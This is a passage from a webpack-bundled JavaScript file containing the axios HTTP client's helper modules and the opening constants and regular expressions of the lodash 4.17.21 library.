setContentTypeIfUnset(headers, 'application/json;charset=utf-8');
return JSON.stringify(data);
}
return data;
}],
transformResponse: [function transformResponse(data) {
/*eslint no-param-reassign:0*/
if (typeof data === 'string') {
try {
data = JSON.parse(data);
} catch (e) { /* Ignore */ }
}
return data;
}],
/**
* A timeout in milliseconds to abort a request. If set to 0 (default) a
* timeout is not created.
*/
timeout: 0,
xsrfCookieName: 'XSRF-TOKEN',
xsrfHeaderName: 'X-XSRF-TOKEN',
maxContentLength: -1,
validateStatus: function validateStatus(status) {
return status >= 200 && status < 300;
}
};
defaults.headers = {
common: {
'Accept': 'application/json, text/plain, */*'
}
};
utils.forEach(['delete', 'get', 'head'], function forEachMethodNoData(method) {
defaults.headers[method] = {};
});
utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
defaults.headers[method] = utils.merge(DEFAULT_CONTENT_TYPE);
});
module.exports = defaults;
/* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../process/browser.js */ "./node_modules/process/browser.js")))
/***/ }),
/***/ "./node_modules/axios/lib/helpers/bind.js":
/*!************************************************!*\
!*** ./node_modules/axios/lib/helpers/bind.js ***!
\************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
module.exports = function bind(fn, thisArg) {
return function wrap() {
var args = new Array(arguments.length);
for (var i = 0; i < args.length; i++) {
args[i] = arguments[i];
}
return fn.apply(thisArg, args);
};
};
/***/ }),
/***/ "./node_modules/axios/lib/helpers/buildURL.js":
/*!****************************************************!*\
!*** ./node_modules/axios/lib/helpers/buildURL.js ***!
\****************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
function encode(val) {
return encodeURIComponent(val).
replace(/%40/gi, '@').
replace(/%3A/gi, ':').
replace(/%24/g, '$').
replace(/%2C/gi, ',').
replace(/%20/g, '+').
replace(/%5B/gi, '[').
replace(/%5D/gi, ']');
}
/**
* Build a URL by appending params to the end
*
* @param {string} url The base of the url (e.g., http://www.google.com)
* @param {object} [params] The params to be appended
* @returns {string} The formatted url
*/
module.exports = function buildURL(url, params, paramsSerializer) {
/*eslint no-param-reassign:0*/
if (!params) {
return url;
}
var serializedParams;
if (paramsSerializer) {
serializedParams = paramsSerializer(params);
} else if (utils.isURLSearchParams(params)) {
serializedParams = params.toString();
} else {
var parts = [];
utils.forEach(params, function serialize(val, key) {
if (val === null || typeof val === 'undefined') {
return;
}
if (utils.isArray(val)) {
key = key + '[]';
} else {
val = [val];
}
utils.forEach(val, function parseValue(v) {
if (utils.isDate(v)) {
v = v.toISOString();
} else if (utils.isObject(v)) {
v = JSON.stringify(v);
}
parts.push(encode(key) + '=' + encode(v));
});
});
serializedParams = parts.join('&');
}
if (serializedParams) {
var hashmarkIndex = url.indexOf('#');
if (hashmarkIndex !== -1) {
url = url.slice(0, hashmarkIndex);
}
url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;
}
return url;
};
/***/ }),
/***/ "./node_modules/axios/lib/helpers/combineURLs.js":
/*!*******************************************************!*\
!*** ./node_modules/axios/lib/helpers/combineURLs.js ***!
\*******************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Creates a new URL by combining the specified URLs
*
* @param {string} baseURL The base URL
* @param {string} relativeURL The relative URL
* @returns {string} The combined URL
*/
module.exports = function combineURLs(baseURL, relativeURL) {
return relativeURL
? baseURL.replace(/\/+$/, '') + '/' + relativeURL.replace(/^\/+/, '')
: baseURL;
};
/***/ }),
/***/ "./node_modules/axios/lib/helpers/cookies.js":
/*!***************************************************!*\
!*** ./node_modules/axios/lib/helpers/cookies.js ***!
\***************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
module.exports = (
utils.isStandardBrowserEnv() ?
// Standard browser envs support document.cookie
(function standardBrowserEnv() {
return {
write: function write(name, value, expires, path, domain, secure) {
var cookie = [];
cookie.push(name + '=' + encodeURIComponent(value));
if (utils.isNumber(expires)) {
cookie.push('expires=' + new Date(expires).toGMTString());
}
if (utils.isString(path)) {
cookie.push('path=' + path);
}
if (utils.isString(domain)) {
cookie.push('domain=' + domain);
}
if (secure === true) {
cookie.push('secure');
}
document.cookie = cookie.join('; ');
},
read: function read(name) {
var match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
return (match ? decodeURIComponent(match[3]) : null);
},
remove: function remove(name) {
this.write(name, '', Date.now() - 86400000);
}
};
})() :
// Non standard browser env (web workers, react-native) lack needed support.
(function nonStandardBrowserEnv() {
return {
write: function write() {},
read: function read() { return null; },
remove: function remove() {}
};
})()
);
/***/ }),
/***/ "./node_modules/axios/lib/helpers/isAbsoluteURL.js":
/*!*********************************************************!*\
!*** ./node_modules/axios/lib/helpers/isAbsoluteURL.js ***!
\*********************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Determines whether the specified URL is absolute
*
* @param {string} url The URL to test
* @returns {boolean} True if the specified URL is absolute, otherwise false
*/
module.exports = function isAbsoluteURL(url) {
// A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
// RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
// by any combination of letters, digits, plus, period, or hyphen.
return /^([a-z][a-z\d\+\-\.]*:)?\/\//i.test(url);
};
/***/ }),
/***/ "./node_modules/axios/lib/helpers/isURLSameOrigin.js":
/*!***********************************************************!*\
!*** ./node_modules/axios/lib/helpers/isURLSameOrigin.js ***!
\***********************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
module.exports = (
utils.isStandardBrowserEnv() ?
// Standard browser envs have full support of the APIs needed to test
// whether the request URL is of the same origin as current location.
(function standardBrowserEnv() {
var msie = /(msie|trident)/i.test(navigator.userAgent);
var urlParsingNode = document.createElement('a');
var originURL;
/**
* Parse a URL to discover it's components
*
* @param {String} url The URL to be parsed
* @returns {Object}
*/
function resolveURL(url) {
var href = url;
if (msie) {
// IE needs attribute set twice to normalize properties
urlParsingNode.setAttribute('href', href);
href = urlParsingNode.href;
}
urlParsingNode.setAttribute('href', href);
// urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
return {
href: urlParsingNode.href,
protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
host: urlParsingNode.host,
search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
hostname: urlParsingNode.hostname,
port: urlParsingNode.port,
pathname: (urlParsingNode.pathname.charAt(0) === '/') ?
urlParsingNode.pathname :
'/' + urlParsingNode.pathname
};
}
originURL = resolveURL(window.location.href);
/**
* Determine if a URL shares the same origin as the current location
*
* @param {String} requestURL The URL to test
* @returns {boolean} True if URL shares the same origin, otherwise false
*/
return function isURLSameOrigin(requestURL) {
var parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;
return (parsed.protocol === originURL.protocol &&
parsed.host === originURL.host);
};
})() :
// Non standard browser envs (web workers, react-native) lack needed support.
(function nonStandardBrowserEnv() {
return function isURLSameOrigin() {
return true;
};
})()
);
/***/ }),
/***/ "./node_modules/axios/lib/helpers/normalizeHeaderName.js":
/*!***************************************************************!*\
!*** ./node_modules/axios/lib/helpers/normalizeHeaderName.js ***!
\***************************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ../utils */ "./node_modules/axios/lib/utils.js");
module.exports = function normalizeHeaderName(headers, normalizedName) {
utils.forEach(headers, function processHeader(value, name) {
if (name !== normalizedName && name.toUpperCase() === normalizedName.toUpperCase()) {
headers[normalizedName] = value;
delete headers[name];
}
});
};
/***/ }),
/***/ "./node_modules/axios/lib/helpers/parseHeaders.js":
/*!********************************************************!*\
!*** ./node_modules/axios/lib/helpers/parseHeaders.js ***!
\********************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(/*! ./../utils */ "./node_modules/axios/lib/utils.js");
// Headers whose duplicates are ignored by node
// c.f. https://nodejs.org/api/http.html#http_message_headers
var ignoreDuplicateOf = [
'age', 'authorization', 'content-length', 'content-type', 'etag',
'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',
'last-modified', 'location', 'max-forwards', 'proxy-authorization',
'referer', 'retry-after', 'user-agent'
];
/**
* Parse headers into an object
*
* ```
* Date: Wed, 27 Aug 2014 08:58:49 GMT
* Content-Type: application/json
* Connection: keep-alive
* Transfer-Encoding: chunked
* ```
*
* @param {String} headers Headers needing to be parsed
* @returns {Object} Headers parsed into an object
*/
module.exports = function parseHeaders(headers) {
var parsed = {};
var key;
var val;
var i;
if (!headers) { return parsed; }
utils.forEach(headers.split('\n'), function parser(line) {
i = line.indexOf(':');
key = utils.trim(line.substr(0, i)).toLowerCase();
val = utils.trim(line.substr(i + 1));
if (key) {
if (parsed[key] && ignoreDuplicateOf.indexOf(key) >= 0) {
return;
}
if (key === 'set-cookie') {
parsed[key] = (parsed[key] ? parsed[key] : []).concat([val]);
} else {
parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
}
}
});
return parsed;
};
/***/ }),
/***/ "./node_modules/axios/lib/helpers/spread.js":
/*!**************************************************!*\
!*** ./node_modules/axios/lib/helpers/spread.js ***!
\**************************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/**
* Syntactic sugar for invoking a function and expanding an array for arguments.
*
* Common use case would be to use `Function.prototype.apply`.
*
* ```js
* function f(x, y, z) {}
* var args = [1, 2, 3];
* f.apply(null, args);
* ```
*
* With `spread` this example can be re-written.
*
* ```js
* spread(function(x, y, z) {})([1, 2, 3]);
* ```
*
* @param {Function} callback
* @returns {Function}
*/
module.exports = function spread(callback) {
return function wrap(arr) {
return callback.apply(null, arr);
};
};
/***/ }),
/***/ "./node_modules/axios/lib/utils.js":
/*!*****************************************!*\
!*** ./node_modules/axios/lib/utils.js ***!
\*****************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var bind = __webpack_require__(/*! ./helpers/bind */ "./node_modules/axios/lib/helpers/bind.js");
/*global toString:true*/
// utils is a library of generic helper functions non-specific to axios
var toString = Object.prototype.toString;
/**
* Determine if a value is an Array
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an Array, otherwise false
*/
function isArray(val) {
return toString.call(val) === '[object Array]';
}
/**
* Determine if a value is undefined
*
* @param {Object} val The value to test
* @returns {boolean} True if the value is undefined, otherwise false
*/
function isUndefined(val) {
return typeof val === 'undefined';
}
/**
* Determine if a value is a Buffer
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Buffer, otherwise false
*/
function isBuffer(val) {
return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)
&& typeof val.constructor.isBuffer === 'function' && val.constructor.isBuffer(val);
}
/**
* Determine if a value is an ArrayBuffer
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an ArrayBuffer, otherwise false
*/
function isArrayBuffer(val) {
return toString.call(val) === '[object ArrayBuffer]';
}
/**
* Determine if a value is a FormData
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an FormData, otherwise false
*/
function isFormData(val) {
return (typeof FormData !== 'undefined') && (val instanceof FormData);
}
/**
* Determine if a value is a view on an ArrayBuffer
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
*/
function isArrayBufferView(val) {
var result;
if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {
result = ArrayBuffer.isView(val);
} else {
result = (val) && (val.buffer) && (val.buffer instanceof ArrayBuffer);
}
return result;
}
/**
* Determine if a value is a String
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a String, otherwise false
*/
function isString(val) {
return typeof val === 'string';
}
/**
* Determine if a value is a Number
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Number, otherwise false
*/
function isNumber(val) {
return typeof val === 'number';
}
/**
* Determine if a value is an Object
*
* @param {Object} val The value to test
* @returns {boolean} True if value is an Object, otherwise false
*/
function isObject(val) {
return val !== null && typeof val === 'object';
}
/**
* Determine if a value is a Date
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Date, otherwise false
*/
function isDate(val) {
return toString.call(val) === '[object Date]';
}
/**
* Determine if a value is a File
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a File, otherwise false
*/
function isFile(val) {
return toString.call(val) === '[object File]';
}
/**
* Determine if a value is a Blob
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Blob, otherwise false
*/
function isBlob(val) {
return toString.call(val) === '[object Blob]';
}
/**
* Determine if a value is a Function
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Function, otherwise false
*/
function isFunction(val) {
return toString.call(val) === '[object Function]';
}
/**
* Determine if a value is a Stream
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a Stream, otherwise false
*/
function isStream(val) {
return isObject(val) && isFunction(val.pipe);
}
/**
* Determine if a value is a URLSearchParams object
*
* @param {Object} val The value to test
* @returns {boolean} True if value is a URLSearchParams object, otherwise false
*/
function isURLSearchParams(val) {
return typeof URLSearchParams !== 'undefined' && val instanceof URLSearchParams;
}
/**
* Trim excess whitespace off the beginning and end of a string
*
* @param {String} str The String to trim
* @returns {String} The String freed of excess whitespace
*/
function trim(str) {
return str.replace(/^\s*/, '').replace(/\s*$/, '');
}
/**
* Determine if we're running in a standard browser environment
*
* This allows axios to run in a web worker, and react-native.
* Both environments support XMLHttpRequest, but not fully standard globals.
*
* web workers:
* typeof window -> undefined
* typeof document -> undefined
*
* react-native:
* navigator.product -> 'ReactNative'
* nativescript
* navigator.product -> 'NativeScript' or 'NS'
*/
function isStandardBrowserEnv() {
if (typeof navigator !== 'undefined' && (navigator.product === 'ReactNative' ||
navigator.product === 'NativeScript' ||
navigator.product === 'NS')) {
return false;
}
return (
typeof window !== 'undefined' &&
typeof document !== 'undefined'
);
}
/**
* Iterate over an Array or an Object invoking a function for each item.
*
* If `obj` is an Array callback will be called passing
* the value, index, and complete array for each item.
*
* If 'obj' is an Object callback will be called passing
* the value, key, and complete object for each property.
*
* @param {Object|Array} obj The object to iterate
* @param {Function} fn The callback to invoke for each item
*/
function forEach(obj, fn) {
// Don't bother if no value provided
if (obj === null || typeof obj === 'undefined') {
return;
}
// Force an array if not already something iterable
if (typeof obj !== 'object') {
/*eslint no-param-reassign:0*/
obj = [obj];
}
if (isArray(obj)) {
// Iterate over array values
for (var i = 0, l = obj.length; i < l; i++) {
fn.call(null, obj[i], i, obj);
}
} else {
// Iterate over object keys
for (var key in obj) {
if (Object.prototype.hasOwnProperty.call(obj, key)) {
fn.call(null, obj[key], key, obj);
}
}
}
}
/**
* Accepts varargs expecting each argument to be an object, then
* immutably merges the properties of each object and returns result.
*
* When multiple objects contain the same key the later object in
* the arguments list will take precedence.
*
* Example:
*
* ```js
* var result = merge({foo: 123}, {foo: 456});
* console.log(result.foo); // outputs 456
* ```
*
* @param {Object} obj1 Object to merge
* @returns {Object} Result of all merge properties
*/
function merge(/* obj1, obj2, obj3, ... */) {
var result = {};
function assignValue(val, key) {
if (typeof result[key] === 'object' && typeof val === 'object') {
result[key] = merge(result[key], val);
} else {
result[key] = val;
}
}
for (var i = 0, l = arguments.length; i < l; i++) {
forEach(arguments[i], assignValue);
}
return result;
}
/**
* Function equal to merge with the difference being that no reference
* to original objects is kept.
*
* @see merge
* @param {Object} obj1 Object to merge
* @returns {Object} Result of all merge properties
*/
function deepMerge(/* obj1, obj2, obj3, ... */) {
var result = {};
function assignValue(val, key) {
if (typeof result[key] === 'object' && typeof val === 'object') {
result[key] = deepMerge(result[key], val);
} else if (typeof val === 'object') {
result[key] = deepMerge({}, val);
} else {
result[key] = val;
}
}
for (var i = 0, l = arguments.length; i < l; i++) {
forEach(arguments[i], assignValue);
}
return result;
}
/**
* Extends object a by mutably adding to it the properties of object b.
*
* @param {Object} a The object to be extended
* @param {Object} b The object to copy properties from
* @param {Object} thisArg The object to bind function to
* @return {Object} The resulting value of object a
*/
function extend(a, b, thisArg) {
forEach(b, function assignValue(val, key) {
if (thisArg && typeof val === 'function') {
a[key] = bind(val, thisArg);
} else {
a[key] = val;
}
});
return a;
}
module.exports = {
isArray: isArray,
isArrayBuffer: isArrayBuffer,
isBuffer: isBuffer,
isFormData: isFormData,
isArrayBufferView: isArrayBufferView,
isString: isString,
isNumber: isNumber,
isObject: isObject,
isUndefined: isUndefined,
isDate: isDate,
isFile: isFile,
isBlob: isBlob,
isFunction: isFunction,
isStream: isStream,
isURLSearchParams: isURLSearchParams,
isStandardBrowserEnv: isStandardBrowserEnv,
forEach: forEach,
merge: merge,
deepMerge: deepMerge,
extend: extend,
trim: trim
};
/***/ }),
/***/ "./node_modules/lodash/lodash.js":
/*!***************************************!*\
!*** ./node_modules/lodash/lodash.js ***!
\***************************************/
/*! no static exports found */
/***/ (function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global, module) {var __WEBPACK_AMD_DEFINE_RESULT__;/**
* @license
* Lodash <https://lodash.com/>
* Copyright OpenJS Foundation and other contributors <https://openjsf.org/>
* Released under MIT license <https://lodash.com/license>
* Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
* Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
*/
;(function() {
/** Used as a safe reference for `undefined` in pre-ES5 environments. */
var undefined;
/** Used as the semantic version number. */
var VERSION = '4.17.21';
/** Used as the size to enable large array optimizations. */
var LARGE_ARRAY_SIZE = 200;
/** Error message constants. */
var CORE_ERROR_TEXT = 'Unsupported core-js use. Try https://npms.io/search?q=ponyfill.',
FUNC_ERROR_TEXT = 'Expected a function',
INVALID_TEMPL_VAR_ERROR_TEXT = 'Invalid `variable` option passed into `_.template`';
/** Used to stand-in for `undefined` hash values. */
var HASH_UNDEFINED = '__lodash_hash_undefined__';
/** Used as the maximum memoize cache size. */
var MAX_MEMOIZE_SIZE = 500;
/** Used as the internal argument placeholder. */
var PLACEHOLDER = '__lodash_placeholder__';
/** Used to compose bitmasks for cloning. */
var CLONE_DEEP_FLAG = 1,
CLONE_FLAT_FLAG = 2,
CLONE_SYMBOLS_FLAG = 4;
/** Used to compose bitmasks for value comparisons. */
var COMPARE_PARTIAL_FLAG = 1,
COMPARE_UNORDERED_FLAG = 2;
/** Used to compose bitmasks for function metadata. */
var WRAP_BIND_FLAG = 1,
WRAP_BIND_KEY_FLAG = 2,
WRAP_CURRY_BOUND_FLAG = 4,
WRAP_CURRY_FLAG = 8,
WRAP_CURRY_RIGHT_FLAG = 16,
WRAP_PARTIAL_FLAG = 32,
WRAP_PARTIAL_RIGHT_FLAG = 64,
WRAP_ARY_FLAG = 128,
WRAP_REARG_FLAG = 256,
WRAP_FLIP_FLAG = 512;
/** Used as default options for `_.truncate`. */
var DEFAULT_TRUNC_LENGTH = 30,
DEFAULT_TRUNC_OMISSION = '...';
/** Used to detect hot functions by number of calls within a span of milliseconds. */
var HOT_COUNT = 800,
HOT_SPAN = 16;
/** Used to indicate the type of lazy iteratees. */
var LAZY_FILTER_FLAG = 1,
LAZY_MAP_FLAG = 2,
LAZY_WHILE_FLAG = 3;
/** Used as references for various `Number` constants. */
var INFINITY = 1 / 0,
MAX_SAFE_INTEGER = 9007199254740991,
MAX_INTEGER = 1.7976931348623157e+308,
NAN = 0 / 0;
/** Used as references for the maximum length and index of an array. */
var MAX_ARRAY_LENGTH = 4294967295,
MAX_ARRAY_INDEX = MAX_ARRAY_LENGTH - 1,
HALF_MAX_ARRAY_LENGTH = MAX_ARRAY_LENGTH >>> 1;
/** Used to associate wrap methods with their bit flags. */
var wrapFlags = [
['ary', WRAP_ARY_FLAG],
['bind', WRAP_BIND_FLAG],
['bindKey', WRAP_BIND_KEY_FLAG],
['curry', WRAP_CURRY_FLAG],
['curryRight', WRAP_CURRY_RIGHT_FLAG],
['flip', WRAP_FLIP_FLAG],
['partial', WRAP_PARTIAL_FLAG],
['partialRight', WRAP_PARTIAL_RIGHT_FLAG],
['rearg', WRAP_REARG_FLAG]
];
/** `Object#toString` result references. */
var argsTag = '[object Arguments]',
arrayTag = '[object Array]',
asyncTag = '[object AsyncFunction]',
boolTag = '[object Boolean]',
dateTag = '[object Date]',
domExcTag = '[object DOMException]',
errorTag = '[object Error]',
funcTag = '[object Function]',
genTag = '[object GeneratorFunction]',
mapTag = '[object Map]',
numberTag = '[object Number]',
nullTag = '[object Null]',
objectTag = '[object Object]',
promiseTag = '[object Promise]',
proxyTag = '[object Proxy]',
regexpTag = '[object RegExp]',
setTag = '[object Set]',
stringTag = '[object String]',
symbolTag = '[object Symbol]',
undefinedTag = '[object Undefined]',
weakMapTag = '[object WeakMap]',
weakSetTag = '[object WeakSet]';
var arrayBufferTag = '[object ArrayBuffer]',
dataViewTag = '[object DataView]',
float32Tag = '[object Float32Array]',
float64Tag = '[object Float64Array]',
int8Tag = '[object Int8Array]',
int16Tag = '[object Int16Array]',
int32Tag = '[object Int32Array]',
uint8Tag = '[object Uint8Array]',
uint8ClampedTag = '[object Uint8ClampedArray]',
uint16Tag = '[object Uint16Array]',
uint32Tag = '[object Uint32Array]';
/** Used to match empty string literals in compiled template source. */
var reEmptyStringLeading = /\b__p \+= '';/g,
reEmptyStringMiddle = /\b(__p \+=) '' \+/g,
reEmptyStringTrailing = /(__e\(.*?\)|\b__t\)) \+\n'';/g;
/** Used to match HTML entities and HTML characters. */
var reEscapedHtml = /&(?:amp|lt|gt|quot|#39);/g,
reUnescapedHtml = /[&<>"']/g,
reHasEscapedHtml = RegExp(reEscapedHtml.source),
reHasUnescapedHtml = RegExp(reUnescapedHtml.source);
/** Used to match template delimiters. */
var reEscape = /<%-([\s\S]+?)%>/g,
reEvaluate = /<%([\s\S]+?)%>/g,
reInterpolate = /<%=([\s\S]+?)%>/g;
/** Used to match property names within property paths. */
var reIsDeepProp = /\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,
reIsPlainProp = /^\w*$/,
rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g;
/**
* Used to match `RegExp`
* [syntax characters](http://ecma-international.org/ecma-262/7.0/#sec-patterns).
*/
var reRegExpChar = /[\\^$.*+?()[\]{}|]/g,
reHasRegExpChar = RegExp(reRegExpChar.source);
/** Used to match leading whitespace. */
var reTrimStart = /^\s+/;
/** Used to match a single whitespace character. */
var reWhitespace = /\s/;
/** Used to match wrap detail comments. */
var reWrapComment = /\{(?:\n\/\* \[wrapped with .+\] \*\/)?\n?/,
reWrapDetails = /\{\n\/\* \[wrapped with (.+)\] \*/,
reSplitDetails = /,? & /;
/** Used to match words composed of alphanumeric characters. */
var reAsciiWord = /[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g;
/**
* Used to validate the `validate` option in `_.template` variable.
*
* Forbids characters which could potentially change the meaning of the function argument definition:
* - "()," (modification of function parameters)
* - "=" (default value)
* - "[]{}" (destructuring of function parameters)
* - "/" (beginning of a comment)
* - whitespace
*/
var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;
/** Used to match backslashes in property paths. */
var reEscapeChar = /\\(\\)?/g;
/**
* Used to match
* [ES template delimiters](http://ecma-international.org/ecma-262/7.0/#sec-template-literal-lexical-components).
*/
var reEsTemplate = /\$\{([^\\}]*(?:\\.[^\\}]*)*)\}/g;
/** Used to match `RegExp` flags from their coerced string values. */
var reFlags = /\w*$/;
/** Used to detect bad signed hexadecimal string values. */
var reIsBadHex = /^[-+]0x[0-9a-f]+$/i;
/** Used to detect binary string values. */
var reIsBinary = /^0b[01]+$/i;
/** Used to detect host constructors (Safari). */
var reIsHostCtor = /^\[object .+?Constructor\]$/;
/** Used to detect octal string values. */
var reIsOctal = /^0o[0-7]+$/i;
/** Used to detect unsigned integer values. */
var reIsUint = /^(?:0|[1-9]\d*)$/;
/** Used to match Latin Unicode letters (excluding mathematical operators). */
var reLatin = /[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g;
/** Used to ensure capturing order of template delimiters. */
var reNoMatch = /($^)/;
/** Used to match unescaped characters in compiled string literals. */
var reUnescapedString = /['\n\r\u2028\u2029\\]/g;
/** Used to compose unicode character classes. */
var rsAstralRange = '\\ud800-\\udfff',
rsComboMarksRange = '\\u0300-\\u036f',
reComboHalfMarksRange = '\\ufe20-\\ufe2f',
rsComboSymbolsRange = '\\u20d0-\\u20ff',
rsComboRange = rsComboMarksRange + reComboHalfMarksRange + rsComboSymbolsRange,
rsDingbatRange = '\\u2700-\\u27bf',
rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff',
rsMathOpRange = '\\xac\\xb1\\xd7\\xf7',
rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf',
rsPunctuationRange = '\\u2000-\\u206f',
rsSpaceRange = ' \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000',
rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde',
rsVarRange = '\\ufe0e\\ufe0f',
rsBreakRange = rsMathOpRange + rsNonCharRange + rsPunctuationRange + rsSpaceRange;
/** Used to compose unicode capture groups. */
var rsApos = "['\u2019]",
rsAstral = '[' + rsAstralRange + ']',
rsBreak = '[' + rsBreakRange + ']',
rsCombo = '[' + rsComboRange + ']',
rsDigits = '\\d+',
rsDingbat = '[' + rsDingbatRange + ']',
rsLower = '[' + rsLowerRange + ']',
rsMisc = '[^' + rsAstralRange + rsBreakRange + rsDigits + rsDingbatRange + rsLowerRange + rsUpperRange + ']',
rsFitz = '\\ud83c[\\udffb-\\udfff]',
rsModifier = '(?:' + rsCombo + '|' + rsFitz + ')',
rsNonAstral = '[^' + rsAstralRange + ']',
rsRegional = '(?:\\ud83c[\\udde6-\\uddff]){2}',
rsSurrPair = '[\\ud800-\\udbff][\\udc00-\\udfff]',
rsUpper = '[' + rsUpperRange + ']',
rsZWJ = '\\u200d';
/** Used to compose unicode regexes. */
var rsMiscLower = '(?:' + rsLower + '|' + rsMisc + ')',
rsMiscUpper = '(?:' + rsUpper + '|' + rsMisc + ')',
rsOptContrLower = '(?:' + rsApos + '(?:d|ll|m|re|s|t|ve))?',
rsOptContrUpper = '(?:' + rsApos + '(?:D|LL|M|RE|S|T|VE))?',
reOptMod = rsModifier + '?',
rsOptVar = '[' + rsVarRange + ']?',
rsOptJoin = '(?:' + rsZWJ + '(?:' + [rsNonAstral, rsRegional, rsSurrPair].join('|') + ')' + rsOptVar + reOptMod + ')*',
rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])',
rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])',
rsSeq = rsOptVar + reOptMod + rsOptJoin,
rsEmoji = '(?:' + [rsDingbat, rsRegional, rsSurrPair].join('|') + ')' + rsSeq,
rsSymbol = '(?:' + [rsNonAstral + rsCombo + '?', rsCombo, rsRegional, rsSurrPair, rsAstral].join('|') + ')';
/** Used to match apostrophes. */
var reApos = RegExp(rsApos, 'g');
/**
* Used to match [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks) and
* [combining diacritical marks for symbols](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks_for_Symbols).
*/
var reComboMark = RegExp(rsCombo, 'g');
/** Used to match [string symbols](https://mathiasbynens.be/notes/javascript-unicode). */
var reUnicode = RegExp(rsFitz + '(?=' + rsFitz + ')|' + rsSymbol + rsSeq, 'g');
/** Used to match complex or compound words. */
var reUnicodeWord = RegExp([
rsUpper + '?' + rsLower + '+' + rsOptContrLower + '(?=' + [rsBreak, rsUpper, '$'].join('|') + ')',
rsMiscUpper + '+' + rsOptContrUpper + '(?=' + [rsBreak, rsUpper + rsMiscLower, '$'].join('|') + ')',
rsUpper + '?' + rsMiscLower + '+' + rsOptContrLower,
rsUpper + '+' + rsOptContrUpper,
rsOrdUpper,
rsOrdLower,
rsDigits,
rsEmoji
].join('|'), 'g');
/** Used to detect strings with [zero-width joiners or code points from the astral planes](http://eev.ee/blog/2015/09/12/dark-corners-of-unicode/). */
var reHasUnicode = RegExp('[' + rsZWJ + rsAstralRange + rsComboRange + rsVarRange + ']');
/** Used to detect strings that need a more robust regexp to match words. */
var reHasUnicodeWord = /[a-z][A-Z]|[A-Z]{2}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/;
/** Used to assign default `context` object properties. */
var contextProps = [
'Array', 'Buffer', 'DataView', 'Date', 'Error', 'Float32Array', 'Float64Array',
'Function', 'Int8Array', 'Int16Array', 'Int32Array', 'Map', 'Math', 'Object',
'Promise', 'RegExp', 'Set', 'String', 'Symbol', 'TypeError', 'Uint8Array',
'Uint8ClampedArray', 'Uint16Array', 'Uint32Array', 'WeakMap',
'_', 'clearTimeout', 'isFinite', 'parseInt', 'setTimeout'
];
/** Used to make template sourceURLs easier to identify. */
var templateCounter = -1;
/** Used to identify `toStringTag` values of typed arrays. */
